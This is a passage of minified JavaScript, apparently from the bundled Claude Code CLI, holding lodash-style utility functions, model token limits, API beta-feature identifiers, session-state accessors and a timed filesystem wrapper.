0,giK=miK||vi6,xh=giK});function UiK(A,K){var q=typeof A;return K=K==null?FiK:K,!!K&&(q=="number"||q!="symbol"&&QiK.test(A))&&(A>-1&&A%1==0&&A<K)}var FiK=9007199254740991,QiK,Wl;var NNA=k(()=>{QiK=/^(?:0|[1-9]\d*)$/;Wl=UiK});function diK(A){return typeof A=="number"&&A>-1&&A%1==0&&A<=piK}var piK=9007199254740991,U2A;var eiA=k(()=>{U2A=diK});function WnK(A){return r$(A)&&U2A(A.length)&&!!CH[IN(A)]}var ciK="[object Arguments]",liK="[object Array]",iiK="[object Boolean]",niK="[object Date]",riK="[object Error]",oiK="[object Function]",aiK="[object Map]",siK="[object Number]",tiK="[object Object]",eiK="[object RegExp]",AnK="[object Set]",KnK="[object String]",qnK="[object WeakMap]",YnK="[object ArrayBuffer]",znK="[object DataView]",wnK="[object Float32Array]",HnK="[object Float64Array]",JnK="[object Int8Array]",OnK="[object Int16Array]",XnK="[object Int32Array]",$nK="[object Uint8Array]",_nK="[object Uint8ClampedArray]",GnK="[object Uint16Array]",ZnK="[object Uint32Array]",CH,Ri6;var yi6=k(()=>{eAA();eiA();bh();CH={};CH[wnK]=CH[HnK]=CH[JnK]=CH[OnK]=CH[XnK]=CH[$nK]=CH[_nK]=CH[GnK]=CH[ZnK]=!0;CH[ciK]=CH[liK]=CH[YnK]=CH[iiK]=CH[znK]=CH[niK]=CH[riK]=CH[oiK]=CH[aiK]=CH[siK]=CH[tiK]=CH[eiK]=CH[AnK]=CH[KnK]=CH[qnK]=!1;Ri6=WnK});function DnK(A){return function(K){return A(K)}}var p2A;var AnA=k(()=>{p2A=DnK});var qnA={};_q(qnA,{default:()=>uh});var Ii6,TNA,jnK,aL1,MnK,uh;var YnA=k(()=>{mL1();Ii6=typeof qnA=="object"&&qnA&&!qnA.nodeType&&qnA,TNA=Ii6&&typeof KnA=="object"&&KnA&&!KnA.nodeType&&KnA,jnK=TNA&&TNA.exports===Ii6,aL1=jnK&&BiA.process,MnK=function(){try{var A=TNA&&TNA.require&&TNA.require("util").types;if(A)return A;return aL1&&aL1.binding&&aL1.binding("util")}catch(K){}}(),uh=MnK});var Si6,PnK,d2A;var znA=k(()=>{yi6();AnA();YnA();Si6=uh&&uh.isTypedArray,PnK=Si6?p2A(Si6):Ri6,d2A=PnK});function NnK(A,K){var q=L2(A),Y=!q&&Sg(A),z=!q&&!Y&&xh(A),w=!q&&!Y&&!z&&d2A(A),H=q||Y||z||w,J=H?Vi6(A.length,String):[],O=J.length;for(var X in A)if((K||fnK.call(A,X))&&!(H&&(X=="length"||z&&(X=="offset"||X=="parent")||w&&(X=="buffer"||X=="byteLength"||X=="byteOffset")||Wl(X,O))))J.push(X);return J}var VnK,fnK,wnA;var sL1=k(()=>{fi6();VNA();pj();fNA();NNA();znA();VnK=Object.prototype,fnK=VnK.hasOwnProperty;wnA=NnK});function vnK(A){var K=A&&A.constructor,q=typeof K=="function"&&K.prototype||TnK;return A===q}var TnK,c2A;var HnA=k(()=>{TnK=Object.prototype;c2A=vnK});function EnK(A,K){return function(q){return A(K(q))}}var JnA;var tL1=k(()=>{JnA=EnK});var knK,hi6;var bi6=k(()=>{tL1();knK=JnA(Object.keys,Object),hi6=knK});function RnK(A){if(!c2A(A))return hi6(A);var K=[];for(var q in Object(A))if(LnK.call(A,q)&&q!="constructor")K.push(q);return K}var CnK,LnK,xi6;var ui6=k(()=>{HnA();bi6();CnK=Object.prototype,LnK=CnK.hasOwnProperty;xi6=RnK});function ynK(A){return A!=null&&U2A(A.length)&&!S2A(A)}var Bh;var l2A=k(()=>{miA();eiA();Bh=ynK});function InK(A){return Bh(A)?wnA(A):xi6(A)}var DE;var K1A=k(()=>{sL1();ui6();l2A();DE=InK});function SnK(A){return niA(A,DE,Q2A)}var vNA;var eL1=k(()=>{iL1();aiA();K1A();vNA=SnK});function unK(A,K,q,Y,z,w){var H=q&hnK,J=vNA(A),O=J.length,X=vNA(K),$=X.length;if(O!=$&&!H)return!1;var _=O;while(_--){var G=J[_];if(!(H?G in K:xnK.call(K,G)))return!1}var Z=w.get(A),W=w.get(K);if(Z&&W)return Z==K&&W==A;var D=!0;w.set(A,K),w.set(K,A);var j=H;while(++_<O){G=J[_];var M=A[G],P=K[G];if(Y)var f=H?Y(P,M,G,K,A,w):Y(M,P,G,A,K,w);if(!(f===void 0?M===P||z(M,P,q,Y,w):f)){D=!1;break}j||(j=G=="constructor")}if(D&&!j){var N=A.constructor,T=K.constructor;if(N!=T&&(("constructor"in A)&&("constructor"in K))&&!(typeof N=="function"&&N instanceof N&&typeof T=="function"&&T instanceof T))D=!1}return w.delete(A),w.delete(K),D}var hnK=1,bnK,xnK,Bi6;var mi6=k(()=>{eL1();bnK=Object.prototype,xnK=bnK.hasOwnProperty;Bi6=unK});var BnK,OnA;var gi6=k(()=>{Ol();NR();BnK=lP(uX,"DataView"),OnA=BnK});var mnK,XnA;var Fi6=k(()=>{Ol();NR();mnK=lP(uX,"Promise"),XnA=mnK});var gnK,Dl;var AR1=k(()=>{Ol();NR();gnK=lP(uX,"Set"),Dl=gnK});var FnK,$nA;var Qi6=k(()=>{Ol();NR();FnK=lP(uX,"WeakMap"),$nA=FnK});var Ui6="[object Map]",QnK="[object Object]",pi6="[object Promise]",di6="[object Set]",ci6="[object WeakMap]",li6="[object DataView]",UnK,pnK,dnK,cnK,lnK,q1A,hg;var ENA=k(()=>{gi6();FiA();Fi6();AR1();Qi6();eAA();gL1();UnK=yg(OnA),pnK=yg(_l),dnK=yg(XnA),cnK=yg(Dl),lnK=yg($nA),q1A=IN;if(OnA&&q1A(new OnA(new ArrayBuffer(1)))!=li6||_l&&q1A(new _l)!=Ui6||XnA&&q1A(XnA.resolve())!=pi6||Dl&&q1A(new Dl)!=di6||$nA&&q1A(new $nA)!=ci6)q1A=function(A){var K=IN(A),q=K==QnK?A.constructor:void 0,Y=q?yg(q):"";if(Y)switch(Y){case UnK:return li6;case pnK:return Ui6;case dnK:return pi6;case cnK:return di6;case lnK:return ci6}return K};hg=q1A});function rnK(A,K,q,Y,z,w){var H=L2(A),J=L2(K),O=H?ni6:hg(A),X=J?ni6:hg(K);O=O==ii6?_nA:O,X=X==ii6?_nA:X;var $=O==_nA,_=X==_nA,G=O==X;if(G&&xh(A)){if(!xh(K))return!1;H=!0,$=!1}if(G&&!$)return w||(w=new hh),H||d2A(A)?ciA(A,K,q,Y,z,w):ji6(A,K,O,q,Y,z,w);if(!(q&inK)){var Z=$&&ri6.call(A,"__wrapped__"),W=_&&ri6.call(K,"__wrapped__");if(Z||W){var D=Z?A.value():A,j=W?K.value():K;return w||(w=new hh),z(D,j,q,Y,w)}}if(!G)return!1;return w||(w=new hh),Bi6(A,K,q,Y,z,w)}var inK=1,ii6="[object Arguments]",ni6="[object Array]",_nA="[object Object]",nnK,ri6,oi6;var ai6=k(()=>{PNA();dL1();Mi6();mi6();ENA();pj();fNA();znA();nnK=Object.prototype,ri6=nnK.hasOwnProperty;oi6=rnK});function si6(A,K,q,Y,z){if(A===K)return!0;if(A==null||K==null||!r$(A)&&!r$(K))return A!==A&&K!==K;return oi6(A,K,q,Y,si6,z)}var i2A;var GnA=k(()=>{ai6();bh();i2A=si6});function snK(A,K,q,Y){var z=q.length,w=z,H=!Y;if(A==null)return!w;A=Object(A);while(z--){var J=q[z];if(H&&J[2]?J[1]!==A[J[0]]:!(J[0]in A))return!1}while(++z<w){J=q[z];var O=J[0],X=A[O],$=J[1];if(H&&J[2]){if(X===void 0&&!(O in A))return!1}else{var _=new hh;if(Y)var G=Y(X,$,O,A,K,_);if(!(G===void 0?i2A($,X,onK|anK,Y,_):G))return!1}}return!0}var onK=1,anK=2,ti6;var ei6=k(()=>{PNA();GnA();ti6=snK});function tnK(A){return A===A&&!aJ(A)}var ZnA;var KR1=k(()=>{WE();ZnA=tnK});function enK(A){var K=DE(A),q=K.length;while(q--){var Y=K[q],z=A[Y];K[q]=[Y,z,ZnA(z)]}return K}var An6;var Kn6=k(()=>{KR1();K1A();An6=enK});function ArK(A,K){return function(q){if(q==null)return!1;return q[A]===K&&(K!==void 0||(A in Object(q)))}}var WnA;var qR1=k(()=>{WnA=ArK});function KrK(A){var K=An6(A);if(K.length==1&&K[0][2])return WnA(K[0][0],K[0][1]);return function(q){return q===A||ti6(q,A,K)}}var qn6;var Yn6=k(()=>{ei6();Kn6();qR1();qn6=KrK});function YrK(A){return typeof A=="symbol"||r$(A)&&IN(A)==qrK}var qrK="[object Symbol]",n2A;var DnA=k(()=>{eAA();bh();n2A=YrK});function HrK(A,K){if(L2(A))return!1;var q=typeof A;if(q=="number"||q=="symbol"||q=="boolean"||A==null||n2A(A))return!0;return wrK.test(A)||!zrK.test(A)||K!=null&&A in Object(K)}var zrK,wrK,r2A;var jnA=k(()=>{pj();DnA();zrK=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,wrK=/^\w*$/;r2A=HrK});function OrK(A){var K=z6(A,function(Y){if(q.size===JrK)q.clear();return Y}),q=K.cache;return K}var JrK=500,zn6;var wn6=k(()=>{p7();zn6=OrK});var XrK,$rK,_rK,Hn6;var Jn6=k(()=>{wn6();XrK=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,$rK=/\\(\\)?/g,_rK=zn6(function(A){var K=[];if(A.charCodeAt(0)===46)K.push("");return A.replace(XrK,function(q,Y,z,w){K.push(z?w.replace($rK,"$1"):Y||q)}),K}),Hn6=_rK});function GrK(A,K){var q=-1,Y=A==null?0:A.length,z=Array(Y);while(++q<Y)z[q]=K(A[q],q,A);return z}var o2A;var MnA=k(()=>{o2A=GrK});function $n6(A){if(typeof A=="string")return A;if(L2(A))return o2A(A,$n6)+"";if(n2A(A))return Xn6?Xn6.call(A):"";var K=A+"";return K=="0"&&1/A==-ZrK?"-0":K}var ZrK=1/0,On6,Xn6,_n6;var Gn6=k(()=>{tAA();MnA();pj();DnA();On6=Q_?Q_.prototype:void 0,Xn6=On6?On6.toString:void 0;_n6=$n6});function WrK(A){return A==null?"":_n6(A)}var a2A;var PnA=k(()=>{Gn6();a2A=WrK});function DrK(A,K){if(L2(A))return A;return r2A(A,K)?[A]:Hn6(a2A(A))}var mh;var s2A=k(()=>{pj();jnA();Jn6();PnA();mh=DrK});function MrK(A){if(typeof A=="string"||n2A(A))return A;var K=A+"";return K=="0"&&1/A==-jrK?"-0":K}var jrK=1/0,jE;var Y1A=k(()=>{DnA();jE=MrK});function PrK(A,K){K=mh(K,A);var q=0,Y=K.length;while(A!=null&&q<Y)A=A[jE(K[q++])];return q&&q==Y?A:void 0}var t2A;var VnA=k(()=>{s2A();Y1A();t2A=PrK});function VrK(A,K,q){var Y=A==null?void 0:t2A(A,K);return Y===void 0?q:Y}var Zn6;var Wn6=k(()=>{VnA();Zn6=VrK});function frK(A,K){return A!=null&&K in Object(A)}var Dn6;var jn6=k(()=>{Dn6=frK});function NrK(A,K,q){K=mh(K,A);var Y=-1,z=K.length,w=!1;while(++Y<z){var H=jE(K[Y]);if(!(w=A!=null&&q(A,H)))break;A=A[H]}if(w||++Y!=z)return w;return z=A==null?0:A.length,!!z&&U2A(z)&&Wl(H,z)&&(L2(A)||Sg(A))}var Mn6;var Pn6=k(()=>{s2A();VNA();pj();NNA();eiA();Y1A();Mn6=NrK});function TrK(A,K){return A!=null&&Mn6(A,K,Dn6)}var Vn6;var fn6=k(()=>{jn6();Pn6();Vn6=TrK});function krK(A,K){if(r2A(A)&&ZnA(K))return WnA(jE(A),K);return function(q){var Y=Zn6(q,A);return Y===void 0&&Y===K?Vn6(q,A):i2A(K,Y,vrK|ErK)}}var vrK=1,ErK=2,Nn6;var Tn6=k(()=>{GnA();Wn6();fn6();jnA();KR1();qR1();Y1A();Nn6=krK});function CrK(A){return A}var e2A;var fnA=k(()=>{e2A=CrK});function LrK(A){return function(K){return K==null?void 0:K[A]}}var vn6;var En6=k(()=>{vn6=LrK});function RrK(A){return function(K){return t2A(K,A)}}var kn6;var Cn6=k(()=>{VnA();kn6=RrK});function yrK(A){return r2A(A)?vn6(jE(A)):kn6(A)}var Ln6;var Rn6=k(()=>{En6();Cn6();jnA();Y1A();Ln6=yrK});function IrK(A){if(typeof A=="function")return A;if(A==null)return e2A;if(typeof A=="object")return L2(A)?Nn6(A[0],A[1]):qn6(A);return Ln6(A)}var gh;var AzA=k(()=>{Yn6();Tn6();fnA();pj();Rn6();gh=IrK});function SrK(A,K){var q,Y=-1,z=A.length;while(++Y<z){var w=K(A[Y]);if(w!==void 0)q=q===void 0?w:q+w}return q}var yn6;var In6=k(()=>{yn6=SrK});function hrK(A,K){return A&&A.length?yn6(A,gh(K,2)):0}var KzA;var Sn6=k(()=>{AzA();In6();KzA=hrK});function hn6(A){return{name:A,default:30000,validate:(K)=>{if(!K)return{effective:30000,status:"valid"};let q=parseInt(K,10);if(isNaN(q)||q<=0)return{effective:30000,status:"invalid",message:`Invalid value "${K}" (using default: 30000)`};if(q>150000)return{effective:150000,status:"capped",message:`Capped from ${q} to 150000`};return{effective:q,status:"valid"}}}}var NnA,bn6,TnA;var kNA=k(()=>{NnA=hn6("BASH_MAX_OUTPUT_LENGTH"),bn6=hn6("TASK_MAX_OUTPUT_LENGTH"),TnA={name:"CLAUDE_CODE_MAX_OUTPUT_TOKENS",default:32000,validate:(A)=>{if(!A)return{effective:32000,status:"valid"};let Y=parseInt(A,10);if(isNaN(Y)||Y<=0)return{effective:32000,status:"invalid",message:`Invalid value "${A}" (using default: 32000)`};if(Y>64000)return{effective:64000,status:"capped",message:`Capped from ${Y} to 64000`};return{effective:Y,status:"valid"}}}});var xn6="claude-code-20250219",un6="interleaved-thinking-2025-05-14",CNA="context-1m-2025-08-07",vnA="context-management-2025-06-27",jl="structured-outputs-2025-12-15",YR1="web-search-2025-03-05",EnA="tool-examples-2025-10-29",Bn6="advanced-tool-use-2025-11-20",mn6="tool-search-tool-2025-10-19",zR1="effort-2025-11-24",gn6="prompt-caching-scope-2026-01-05",wR1,HR1;var z1A=k(()=>{wR1=new Set(["interleaved-thinking-2025-05-14","context-1m-2025-08-07","tool-search-tool-2025-10-19","tool-examples-2025-10-29"]),HR1=new Set(["claude-code-20250219","interleaved-thinking-2025-05-14","fine-grained-tool-streaming-2025-05-14","context-management-2025-06-27"])});function BrK(A){return A.toLowerCase().includes("claude-sonnet-4")}function aW(A,K){if(A.includes("[1m]")||K?.includes(CNA)&&BrK(A))return 1e6;return brK}function JR1(A,K){if(!A)return{used:null,remaining:null};let q=A.input_tokens+A.cache_creation_input_tokens+A.cache_read_input_tokens,Y=Math.round(q/K*100),z=Math.min(100,Math.max(0,Y));return{used:z,remaining:100-z}}function qzA(A){let K=A.toLowerCase(),q;if(K.includes("3-5"))q=8192;else if(K.includes("claude-3-opus"))q=4096;else if(K.includes("claude-3-sonnet"))q=8192;else if(K.includes("claude-3-haiku"))q=4096;else if(K.includes("opus-4-5"))q=64000;else if(K.includes("opus-4"))q=32000;else if(K.includes("sonnet-4")||K.includes("haiku-4"))q=64000;else q=xrK;return q}function CnA(A){let K=A.toLowerCase();return urK}var brK=200000,knA=20000,xrK=32000,urK=31999;var iP=k(()=>{z1A()});function Fn6(){return OR1}function Qn6(A){OR1=A}function U_(){OR1=null}var OR1=null;import{cwd as mrK}from"process";import{realpathSync as Un6}from"fs";import{randomUUID as pn6}from"crypto";function grK(){let A="";if(typeof process<"u"&&typeof process.cwd==="function"&&typeof Un6==="function")A=Un6(mrK());return{originalCwd:A,projectRoot:A,totalCostUSD:0,totalAPIDuration:0,totalAPIDurationWithoutRetries:0,totalToolDuration:0,startTime:Date.now(),lastInteractionTime:Date.now(),totalLinesAdded:0,totalLinesRemoved:0,hasUnknownModelCost:!1,cwd:A,modelUsage:{},mainLoopModelOverride:void 0,initialMainLoopModel:null,modelStrings:null,isInteractive:!1,clientType:"cli",sessionIngressToken:void 0,oauthTokenFromFd:void 0,apiKeyFromFd:void 0,flagSettingsPath:void 0,allowedSettingSources:["userSettings","projectSettings","localSettings","flagSettings","policySettings"],meter:null,sessionCounter:null,locCounter:null,prCounter:null,commitCounter:null,costCounter:null,tokenCounter:null,codeEditToolDecisionCounter:null,activeTimeCounter:null,sessionId:pn6(),parentSessionId:void 0,loggerProvider:null,eventLogger:null,meterProvider:null,tracerProvider:null,agentColorMap:new Map,agentColorIndex:0,envVarValidators:[NnA,TnA],lastAPIRequest:null,inMemoryErrorLog:[],inlinePlugins:[],useCoworkPlugins:!1,sessionBypassPermissionsMode:!1,sessionTrustAccepted:!1,sessionPersistenceDisabled:!1,hasExitedPlanMode:!1,needsPlanModeExitAttachment:!1,hasExitedDelegateMode:!1,needsDelegateModeExitAttachment:!1,lspRecommendationShownThisSession:!1,initJsonSchema:null,registeredHooks:null,planSlugCache:new Map,teleportedSessionInfo:null,invokedSkills:new Map,slowOperations:[],promptCacheBreaks:[],sdkBetas:void 0,mainThreadAgentType:void 0,isRemoteMode:!1,directConnectServerUrl:void 0,additionalDirectoriesForClaudeMd:[],resumedTranscriptPath:null}}function d1(){return f6.sessionId}function dn6(A={}){if(A.setCurrentAsParent)f6.parentSessionId=f6.sessionId;return f6.sessionId=pn6(),f6.resumedTranscriptPath=null,f6.sessionId}function cn6(){return f6.parentSessionId}function SN(A){if(f6.sessionId=A,process.env.CLAUDE_CODE_SESSION_ID!==void 0)process.env.CLAUDE_CODE_SESSION_ID=A}function V8(){return f6.originalCwd}function sW(){return f6.projectRoot}function ln6(A){f6.originalCwd=A}function in6(){return f6.resumedTranscriptPath}function LnA(A){f6.resumedTranscriptPath=A}function bg(){return f6.cwd}function nn6(A){f6.cwd=A}function rn6(){return f6.directConnectServerUrl}function on6(A,K){f6.totalAPIDuration+=A,f6.totalAPIDurationWithoutRetries+=K}function an6(A,K,q){f6.totalCostUSD+=A;let Y=f6.modelUsage[q]??{inputTokens:0,outputTokens:0,cacheReadInputTokens:0,cacheCreationInputTokens:0,webSearchRequests:0,costUSD:0,contextWindow:0,maxOutputTokens:0};Y.inputTokens+=K.input_tokens,Y.outputTokens+=K.output_tokens,Y.cacheReadInputTokens+=K.cache_read_input_tokens??0,Y.cacheCreationInputTokens+=K.cache_creation_input_tokens??0,Y.webSearchRequests+=K.server_tool_use?.web_search_requests??0,Y.costUSD+=A,Y.contextWindow=aW(q,f6.sdkBetas),Y.maxOutputTokens=qzA(q),f6.modelUsage[q]=Y}function ZZ(){return f6.totalCostUSD}function ME(){return f6.totalAPIDuration}function LNA(){return Date.now()-f6.startTime}function sn6(){return f6.totalAPIDurationWithoutRetries}function tn6(){return f6.totalToolDuration}function XR1(A){f6.totalToolDuration+=A}function RNA(){f6.lastInteractionTime=Date.now()}function $R1(A,K){f6.totalLinesAdded+=A,f6.totalLinesRemoved+=K}function YzA(){return f6.totalLinesAdded}function zzA(){return f6.totalLinesRemoved}function RnA(){return KzA(Object.values(f6.modelUsage),"inputTokens")}function ynA(){return KzA(Object.values(f6.modelUsage),"outputTokens")}function en6(){return KzA(Object.values(f6.modelUsage),"cacheReadInputTokens")}function Ar6(){return KzA(Object.values(f6.modelUsage),"cacheCreationInputTokens")}function Kr6(){return KzA(Object.values(f6.modelUsage),"webSearchRequests")}function _R1(){f6.hasUnknownModelCost=!0}function qr6(){return f6.hasUnknownModelCost}function InA(){return f6.lastInteractionTime}function Fh(){return f6.modelUsage}function wzA(){return f6.mainLoopModelOverride}function SnA(){return f6.initialMainLoopModel}function Ml(A){f6.mainLoopModelOverride=A}function Yr6(A){f6.initialMainLoopModel=A}function nP(){return f6.sdkBetas}function zr6(A){f6.sdkBetas=A}function yNA(){f6.totalCostUSD=0,f6.totalAPIDuration=0,f6.totalAPIDurationWithoutRetries=0,f6.totalToolDuration=0,f6.startTime=Date.now(),f6.totalLinesAdded=0,f6.totalLinesRemoved=0,f6.hasUnknownModelCost=!1,f6.modelUsage={}}function hnA({totalCostUSD:A,totalAPIDuration:K,totalAPIDurationWithoutRetries:q,totalToolDuration:Y,totalLinesAdded:z,totalLinesRemoved:w,lastDuration:H,modelUsage:J}){if(f6.totalCostUSD=A,f6.totalAPIDuration=K,f6.totalAPIDurationWithoutRetries=q,f6.totalToolDuration=Y,f6.totalLinesAdded=z,f6.totalLinesRemoved=w,J)f6.modelUsage=J;if(H)f6.startTime=Date.now()-H}function INA(){return f6.modelStrings}function bnA(A){f6.modelStrings=A}function wr6(A,K){f6.meter=A,f6.sessionCounter=K("claude_code.session.count",{description:"Count of CLI sessions started"}),f6.locCounter=K("claude_code.lines_of_code.count",{description:"Count of lines of code modified, with the 'type' attribute indicating whether lines were added or removed"}),f6.prCounter=K("claude_code.pull_request.count",{description:"Number of pull requests created"}),f6.commitCounter=K("claude_code.commit.count",{description:"Number of git commits created"}),f6.costCounter=K("claude_code.cost.usage",{description:"Cost of the Claude Code session",unit:"USD"}),f6.tokenCounter=K("claude_code.token.usage",{description:"Number of tokens used",unit:"tokens"}),f6.codeEditToolDecisionCounter=K("claude_code.code_edit_tool.decision",{description:"Count of code editing tool permission decisions (accept/reject) for Edit, Write, and NotebookEdit tools"}),f6.activeTimeCounter=K("claude_code.active_time.total",{description:"Total active time in seconds",unit:"s"})}function Hr6(){return f6.sessionCounter}function GR1(){return f6.locCounter}function xnA(){return f6.prCounter}function Jr6(){return f6.commitCounter}function Or6(){return f6.costCounter}function SNA(){return f6.tokenCounter}function hNA(){return f6.codeEditToolDecisionCounter}function ZR1(){return f6.activeTimeCounter}function unA(){return f6.loggerProvider}function WR1(A){f6.loggerProvider=A}function Xr6(){return f6.eventLogger}function DR1(A){f6.eventLogger=A}function $r6(){return f6.meterProvider}function jR1(A){f6.meterProvider=A}function HzA(){return f6.tracerProvider}function MR1(A){f6.tracerProvider=A}function b7(){return!f6.isInteractive}function JzA(){return f6.isInteractive}function _r6(A){f6.isInteractive=A}function BnA(){return f6.clientType}function Gr6(A){f6.clientType=A}function PR1(){return f6.agentColorMap}function w1A(){return f6.flagSettingsPath}function Zr6(A){f6.flagSettingsPath=A}function Wr6(){return f6.sessionIngressToken}function OzA(A){f6.sessionIngressToken=A}function Dr6(){return f6.oauthTokenFromFd}function XzA(A){f6.oauthTokenFromFd=A}function jr6(){return f6.apiKeyFromFd}function $zA(A){f6.apiKeyFromFd=A}function Mr6(){return f6.envVarValidators}function Pr6(A){f6.lastAPIRequest=A}function Vr6(){return f6.lastAPIRequest}function fr6(){return f6.allowedSettingSources}function Nr6(A){f6.allowedSettingSources=A}function Tr6(){return b7()&&f6.clientType!=="claude-vscode"}function vr6(A){f6.inlinePlugins=A}function _zA(){return f6.inlinePlugins}function PE(A){f6.useCoworkPlugins=A,U_()}function mnA(){return f6.useCoworkPlugins}function Er6(A){f6.sessionBypassPermissionsMode=A}function GzA(){return f6.sessionBypassPermissionsMode}function kr6(A){f6.sessionTrustAccepted=A}function Cr6(){return f6.sessionTrustAccepted}function Lr6(A){f6.sessionPersistenceDisabled=A}function Pl(){return f6.sessionPersistenceDisabled}function Rr6(){return f6.hasExitedPlanMode}function VE(A){f6.hasExitedPlanMode=A}function yr6(){return f6.needsPlanModeExitAttachment}function xg(A){f6.needsPlanModeExitAttachment=A}function Qh(A,K){if(K==="plan"&&A!=="plan")f6.needsPlanModeExitAttachment=!1;if(A==="plan"&&K!=="plan")f6.needsPlanModeExitAttachment=!0}function Ir6(A){f6.hasExitedDelegateMode=A}function Sr6(){return f6.needsDelegateModeExitAttachment}function gnA(A){f6.needsDelegateModeExitAttachment=A}function hr6(){return f6.lspRecommendationShownThisSession}function br6(A){f6.lspRecommendationShownThisSession=A}function xr6(A){f6.initJsonSchema=A}function VR1(){return f6.initJsonSchema}function ZzA(A){if(!f6.registeredHooks)f6.registeredHooks={};for(let[K,q]of Object.entries(A)){let Y=K;if(!f6.registeredHooks[Y])f6.registeredHooks[Y]=[];f6.registeredHooks[Y].push(...q)}}function FnA(){return f6.registeredHooks}function ur6(){if(!f6.registeredHooks)return;let A={};for(let[K,q]of Object.entries(f6.registeredHooks)){let Y=q.filter((z)=>!("pluginRoot"in z));if(Y.length>0)A[K]=Y}f6.registeredHooks=Object.keys(A).length>0?A:null}function WzA(){return f6.planSlugCache}function QnA(A){f6.teleportedSessionInfo={isTeleported:!0,hasLoggedFirstMessage:!1,sessionId:A.sessionId}}function fR1(){return f6.teleportedSessionInfo}function NR1(){if(f6.teleportedSessionInfo)f6.teleportedSessionInfo.hasLoggedFirstMessage=!0}function UnA(A,K,q){f6.invokedSkills.set(A,{skillName:A,skillPath:K,content:q,invokedAt:Date.now()})}function Br6(){return f6.invokedSkills}function mr6(A){return}function gr6(){f6.promptCacheBreaks=[]}function pnA(){return f6.mainThreadAgentType}function dnA(A){f6.mainThreadAgentType=A}function TR1(){return f6.isRemoteMode}function Fr6(A){f6.isRemoteMode=A}function Qr6(){return f6.additionalDirectoriesForClaudeMd}function Ur6(A){f6.additionalDirectoriesForClaudeMd=A}function pr6(A){FrK={length:A}}var f6,FrK;var q6=k(()=>{Sn6();kNA();iP();f6=grK();FrK={length:0}});import*as aq from"fs";import{homedir as dr6}from"os";import*as Vl from"path";import{stat as QrK,readdir as UrK,unlink as prK,rmdir as drK,rm as crK,open as lrK}from"fs/promises";function BX(A,K){let q=performance.now();try{return K()}finally{performance.now()-q>ug}}function sJ(A,K){if(!A.existsSync(K))return{resolvedPath:K,isSymlink:!1};try{let q=A.lstatSync(K);if(q.isFIFO()||q.isSocket()||q.isCharacterDevice()||q.isBlockDevice())return{resolvedPath:K,isSymlink:!1};let Y=A.realpathSync(K);return{resolvedPath:Y,isSymlink:Y!==K}}catch(q){return{resolvedPath:K,isSymlink:!1}}}function Uh(A,K,q){let{resolvedPath:Y}=sJ(A,K);if(q.has(Y))return!0;return q.add(Y),!1}function H1A(A){let K=A;if(K==="~")K=dr6();else if(K.startsWith("~/"))K=Vl.join(dr6(),K.slice(2));let q=new Set,Y=BA();q.add(K);try{let H=K,J=new Set,O=40;for(let X=0;X<O;X++){if(J.has(H))break;if(J.add(H),!Y.existsSync(H))break;let $=Y.lstatSync(H);if($.isFIFO()||$.isSocket()||$.isCharacterDevice()||$.isBlockDevice())break;if(!$.isSymbolicLink())break;let _=Y.readlinkSync(H),G=Vl.isAbsolute(_)?_:Vl.resolve(Vl.dirname(H),_);q.add(G),H=G}}catch{}let{resolvedPath:z,isSymlink:w}=sJ(Y,K);if(w&&z!==K)q.add(z);return Array.from(q)}function BA(){return rrK}async function*cr6(A){let q=await lrK(A,"r");try{let z=(await q.stat()).size,w="",H=Buffer.alloc(4096);while(z>0){let J=Math.min(4096,z);z-=J,await q.read(H,0,J,z);let X=(H.toString("utf8",0,J)+w).split(` `);w=X[0]||"";for(let $=X.length-1;$>=1;$--){let _=X[$];if(_)yield _}}if(w)yield w}finally{await q.close()}}var irK=!1,nrK,rrK;var e6=k(()=>{Z1();b1();q6();nrK={cwd(){return process.cwd()},existsSync(A){return BX(`existsSync(${A})`,()=>aq.existsSync(A))},async stat(A){return QrK(A)},async readdir(A){return UrK(A,{withFileTypes:!0})},async unlink(A){return prK(A)},async rmdir(A){return drK(A)},async rm(A,K){return crK(A,K)},statSync(A){return BX(`statSync(${A})`,()=>aq.statSync(A))},lstatSync(A){return BX(`lstatSync(${A})`,()=>aq.lstatSync(A))},readFileSync(A,K){return BX(`readFileSync(${A})`,()=>aq.readFileSync(A,{encoding:K.encoding}))},readFileBytesSync(A){return BX(`readFileBytesSync(${A})`,()=>aq.readFileSync(A))},readSync(A,K){return BX(`readSync(${A}, ${K.length} bytes)`,()=>{let q=void 0;try{q=aq.openSync(A,"r");let Y=Buffer.alloc(K.length),z=aq.readSync(q,Y,0,K.length,0);return{buffer:Y,bytesRead:z}}finally{if(q)aq.closeSync(q)}})},appendFileSync(A,K,q){return BX(`appendFileSync(${A}, ${K.length} chars)`,()=>{if(!aq.existsSync(A)&&q?.mode!==void 0){let Y=aq.openSync(A,"a",q.mode);try{aq.appendFileSync(Y,K)}finally{aq.closeSync(Y)}}else aq.appendFileSync(A,K)})},copyFileSync(A,K){return BX(`copyFileSync(${A} → ${K})`,()=>aq.copyFileSync(A,K))},unlinkSync(A){return BX(`unlinkSync(${A})`,()=>aq.unlinkSync(A))},renameSync(A,K){return BX(`renameSync(${A} → ${K})`,()=>aq.renameSync(A,K))},linkSync(A,K){return BX(`linkSync(${A} → ${K})`,()=>aq.linkSync(A,K))},symlinkSync(A,K){return BX(`symlinkSync(${A} → ${K})`,()=>aq.symlinkSync(A,K))},readlinkSync(A){return BX(`readlinkSync(${A})`,()=>aq.readlinkSync(A))},realpathSync(A){return BX(`realpathSync(${A})`,()=>aq.realpathSync(A))},mkdirSync(A,K){return BX(`mkdirSync(${A})`,()=>{if(!aq.existsSync(A)){let q={recursive:!0};if(K?.mode!==void 0)q.mode=K.mode;aq.mkdirSync(A,q)}})},readdirSync(A){return BX(`readdirSync(${A})`,()=>aq.readdirSync(A,{withFileTypes:!0}))},readdirStringSync(A){return BX(`readdirStringSync(${A})`,()=>aq.readdirSync(A))},isDirEmptySync(A){return BX(`isDirEmptySync(${A})`,()=>{return this.readdirSync(A).length===0})},rmdirSync(A){return BX(`rmdirSync(${A})`,()=>aq.rmdirSync(A))},rmSync(A,K){return BX(`rmSync(${A})`,()=>aq.rmSync(A,K))},createWriteStream(A){return aq.createWriteStream(A)}},rrK=nrK});import{join as orK}from"path";import{homedir as arK}from"os";function w8(){return process.env.CLAUDE_CONFIG_DIR??orK(arK(),".claude")}function vR1(A){let K=process.env.NODE_OPTIONS;if(!K)return!1;return K.split(/\s+/).includes(A)}function 